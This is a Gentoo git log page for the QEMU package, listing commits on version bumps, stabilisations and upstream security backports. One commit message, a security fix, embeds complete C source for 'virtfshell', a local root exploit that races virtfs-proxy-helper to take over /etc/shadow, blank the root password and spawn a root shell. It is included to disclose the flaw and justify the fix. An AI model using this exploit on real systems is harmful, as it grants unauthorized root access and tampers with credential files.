Get Gentoo!
gentoo.org sites
gentoo.org Wiki Bugs Forums Packages
Planet Archives Sources
Infra Status
summaryrefslogtreecommitdiff
path: root/app-emulation/qemu
Commit message (Collapse)AuthorAgeFilesLines
* app-emulation/qemu: add upstream fixes for #567868 #568246 #570110 #570988 ↵Mike Frysinger2016-01-176-0/+942
| | | | #571566
* app-emulation/qemu: disable libgcrypt usage #568856Mike Frysinger2015-12-202-0/+12
|
* app-emulation/qemu: drop versions <2.4.1-r2Mike Frysinger2015-12-1738-9482/+0
|
* app-emulation/qemu: version bump to 2.5.0Mike Frysinger2015-12-172-0/+646
|
* app-emulation/qemu: x86 stable wrt bug #567828Agostino Sarubbo2015-12-161-1/+1
| | | | | | Package-Manager: portage-2.2.24 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
* app-emulation/qemu: amd64 stable wrt bug #567828Agostino Sarubbo2015-12-161-1/+1
| | | | | | Package-Manager: portage-2.2.24 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
* app-emulation/qemu: add upstream fixes for #567828 #568214Mike Frysinger2015-12-153-0/+750
|
* app-emulation/qemu: drop virtfs-proxy-helper fcaps from all versions #568226Mike Frysinger2015-12-159-36/+0
|
* app-emulation/qemu: critical security fixJason A. Donenfeld2015-12-144-0/+2495
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | The virtfs-proxy-helper program is not a safe binary to give caps. The following exploit code demonstrates the vulnerability: ~=~=~=~= snip ~=~=~=~= /* == virtfshell == * * Some distributions make virtfs-proxy-helper from QEMU either SUID or * give it CAP_CHOWN fs capabilities. This is a terrible idea. While * virtfs-proxy-helper makes some sort of flimsy check to make sure * its socket path doesn't already exist, it is vulnerable to TOCTOU. * * This should spawn a root shell eventually on vulnerable systems. * * - zx2c4 * 2015-12-12 * * * zx2c4@thinkpad ~ $ lsb_release -i * Distributor ID: Gentoo * zx2c4@thinkpad ~ $ ./virtfshell * == Virtfshell - by zx2c4 == * [+] Beginning race loop * [+] Chown'd /etc/shadow, elevating to root * [+] Cleaning up * [+] Spawning root shell * thinkpad zx2c4 # whoami * root * */ #include <stdio.h> #include <sys/wait.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/inotify.h> #include <unistd.h> #include <stdlib.h> #include <signal.h> static int it_worked(void) { struct stat sbuf = { 0 }; stat("/etc/shadow", &sbuf); return sbuf.st_uid == getuid() && sbuf.st_gid == getgid(); } int main(int argc, char **argv) { int fd; pid_t pid; char uid[12], gid[12]; sprintf(uid, "%d", getuid()); sprintf(gid, "%d", getgid()); printf("== Virtfshell - by zx2c4 ==\n"); printf("[+] Beginning race loop\n"); while (!it_worked()) { fd = inotify_init(); unlink("/tmp/virtfshell/sock"); mkdir("/tmp/virtfshell", 0777); inotify_add_watch(fd, "/tmp/virtfshell", IN_CREATE); pid = fork(); if (!pid) { close(0); close(1); close(2); execlp("virtfs-proxy-helper", "virtfs-proxy-helper", "-n", "-p", "/tmp", "-u", uid, "-g", gid, "-s", "/tmp/virtfshell/sock", NULL); _exit(1); } read(fd, 0, 0); unlink("/tmp/virtfshell/sock"); symlink("/etc/shadow", "/tmp/virtfshell/sock"); close(fd); kill(pid, SIGKILL); wait(NULL); } printf("[+] Chown'd /etc/shadow, elevating to root\n"); system( "cp /etc/shadow /tmp/original_shadow;" "sed 's/^root:.*/root::::::::/' /etc/shadow > /tmp/modified_shadow;" "cat /tmp/modified_shadow > /etc/shadow;" "su -c '" " echo [+] Cleaning up;" " cat /tmp/original_shadow > /etc/shadow;" " chown root:root /etc/shadow;" " rm /tmp/modified_shadow /tmp/original_shadow;" " echo [+] Spawning root shell;" " exec /bin/bash -i" "'"); return 0; }
* app-emulation/qemu: switch to new libcacard release #561814Mike Frysinger2015-12-071-1/+1
|
* app-emulation/qemu: add USE=virgl for Virgil 3d GPU #566994Mike Frysinger2015-12-072-1/+4
|
* app-emulation/qemu: add upstream security fixes #566792 #567144Mike Frysinger2015-12-074-0/+795
|
* app-emulation/qemu: utilize xen-tools sub-slotDoug Goldstein2015-12-068-8/+8
| | | | | | | app-emulation/xen-tools now exposes a sub-slot to help dependencies rebuild when necessary. Signed-off-by: Doug Goldstein <cardoe@gentoo.org>
* app-emulation/qemu: update cflags patch #565866Mike Frysinger2015-11-222-1/+14
|
* app-emulation/qemu: force C locale for sorting to workaround glibc bug #564936Mike Frysinger2015-11-075-10/+15
|
* app-emulation/qemu: version bump to 2.4.1 #564990Mike Frysinger2015-11-062-0/+642
|
* app-emulation/qemu: update qmp doc paths #564186Mike Frysinger2015-10-261-2/+2
|
* app-emulation/qemu: Backport a few MIPS patches. Bug #563162Markos Chandras2015-10-155-0/+888
| | | | Package-Manager: portage-2.2.23
* app-emulation/qemu: version bump to 2.4.0.1 #562594Mike Frysinger2015-10-096-0/+949
| | | | This also includes security fixes for #560760 #560550 #560422.
* app-emulation/qemu: update smartcard configure flag #561670Michal Privoznik2015-09-291-1/+1
|
* app-emulation/qemu: add tilegx linux-user target #561322Mike Frysinger2015-09-261-1/+1
|
* app-emulation/qemu: switch USE=tls to USE=gnutls #560574Mike Frysinger2015-09-161-4/+10
| | | | | | | | | | Upstream no longer has dedicated configuration options for tls settings. Instead, it's all run through the gnutls feature test. We require newer versions of gnutls because supporting older ones gets a bit messy -- qemu might leverage libgcrypt or nettle depending on how the gnutls package was built. By forcing the latest version, we can simplify and only require nettle. This isn't a big deal as it's already stable.
* app-emulation/qemu: require mesa[egl] tooMike Frysinger2015-09-112-2/+2
| | | | | Upstream commit 7ced9e9f6da2257224591b91727cfeee4f3977fb made the egl layer of mesa a requirement.
* app-emulation/qemu: x86 stable wrt bug #558416Agostino Sarubbo2015-09-081-1/+1
| | | | | Package-Manager: portage-2.2.20.1 RepoMan-Options: --include-arches="x86"
* app-emulation/qemu: amd64 stable wrt bug #558416Agostino Sarubbo2015-09-081-1/+1
| | | | | Package-Manager: portage-2.2.20.1 RepoMan-Options: --include-arches="amd64"
* app-emulation/qemu: various fixes/updatesMike Frysinger2015-09-074-3/+277
| | | | | | | | | | | | | Sync in the updates from the 9999 ebuild: - updated seabios pin - add new targets - add sanity checks for targets Add fix from upstream for blockcommit crashes #558396. Add fix from upstream for CVE-2015-5225 #558416. Add fix posted upstream (but not yet merged) for e1000 infinite loop #559656.
* app-emulation/qemu: add target sanity checksMike Frysinger2015-09-071-0/+22
| | | | | This way we know up front when a new target appears rather than when someone happens to check & notice.
* app-emulation/qemu: update seabios pin to version 1.8.2Mike Frysinger2015-09-071-1/+1
|
* app-emulation/qemu: add new targetsMike Frysinger2015-09-071-2/+2
|
* app-emulation/qemu: Remove vulnerableManuel Rüger2015-08-281-607/+0
| | | | Package-Manager: portage-2.2.20.1
* sys-libs/ncurses: move to SLOT=0 #557472Mike Frysinger2015-08-266-6/+6
| | | | | Use SLOT=0 for installing of main development files like other packages so we can use other SLOTs for installing SONAME libs for binary packages.
* Revert DOCTYPE SYSTEM https changes in metadata.xmlMike Gilbert2015-08-241-1/+1
| | | | | | | repoman does not yet accept the https version. This partially reverts eaaface92ee81f30a6ac66fe7acbcc42c00dc450. Bug: https://bugs.gentoo.org/552720
* Use https by defaultJustin Lecher2015-08-247-7/+7
| | | | | | Convert all URLs for sites supporting encrypted connections from http to https Signed-off-by: Justin Lecher <jlec@gentoo.org>
* app-emulation/qemu: Use slot operators for ncursesJustin Lecher2015-08-167-46/+46
| | | | | Package-Manager: portage-2.2.20.1 Signed-off-by: Justin Lecher <jlec@gentoo.org>
* app-emulation/qemu: switch to virtual/libusb to quiet repomanMike Frysinger2015-08-136-6/+6
| | | | | Now that the virtual requires the latest libusb, we can switch to that rather than depending directly on libusb's version.
* app-emulation/qemu: move more deps to softmmu-only caseMike Frysinger2015-08-132-74/+84
| | | | | These packages are only used when building softmmu binaries, so don't try pulling them in when the user is building tools or user binaries.
* app-emulation/qemu: depend on libepoxy for USE=opengl #557488Mike Frysinger2015-08-132-0/+2
|
* qemu: version bump to 2.4.0Mike Frysinger2015-08-122-0/+613
|
* qemu: version bump to 2.3.1Mike Frysinger2015-08-122-0/+603
|
* qemu: do not put directly into stableMike Frysinger2015-08-101-1/+1
|
* qemu: fix from upstream for virtio-serial security issue #557206Mike Frysinger2015-08-102-0/+650
|
* proj/gentoo: Initial commitRobin H. Johnson2015-08-0826-0/+3425
This commit represents a new era for Gentoo: Storing the gentoo-x86 tree in Git, as converted from CVS. This commit is the start of the NEW history. Any historical data is intended to be grafted onto this point. Creation process: 1. Take final CVS checkout snapshot 2. Remove ALL ChangeLog* files 3. Transform all Manifests to thin 4. Remove empty Manifests 5. Convert all stale $Header$/$Id$ CVS keywords to non-expanded Git $Id$ 5.1. Do not touch files with -kb/-ko keyword flags. Signed-off-by: Robin H. Johnson <robbat2@gentoo.org> X-Thanks: Alec Warner <antarus@gentoo.org> - did the GSoC 2006 migration tests X-Thanks: Robin H. Johnson <robbat2@gentoo.org> - infra guy, herding this project X-Thanks: Nguyen Thai Ngoc Duy <pclouds@gentoo.org> - Former Gentoo developer, wrote Git features for the migration X-Thanks: Brian Harring <ferringb@gentoo.org> - wrote much python to improve cvs2svn X-Thanks: Rich Freeman <rich0@gentoo.org> - validation scripts X-Thanks: Patrick Lauer <patrick@gentoo.org> - Gentoo dev, running new 2014 work in migration X-Thanks: Michał Górny <mgorny@gentoo.org> - scripts, QA, nagging X-Thanks: All of other Gentoo developers - many ideas and lots of paint on the bikeshed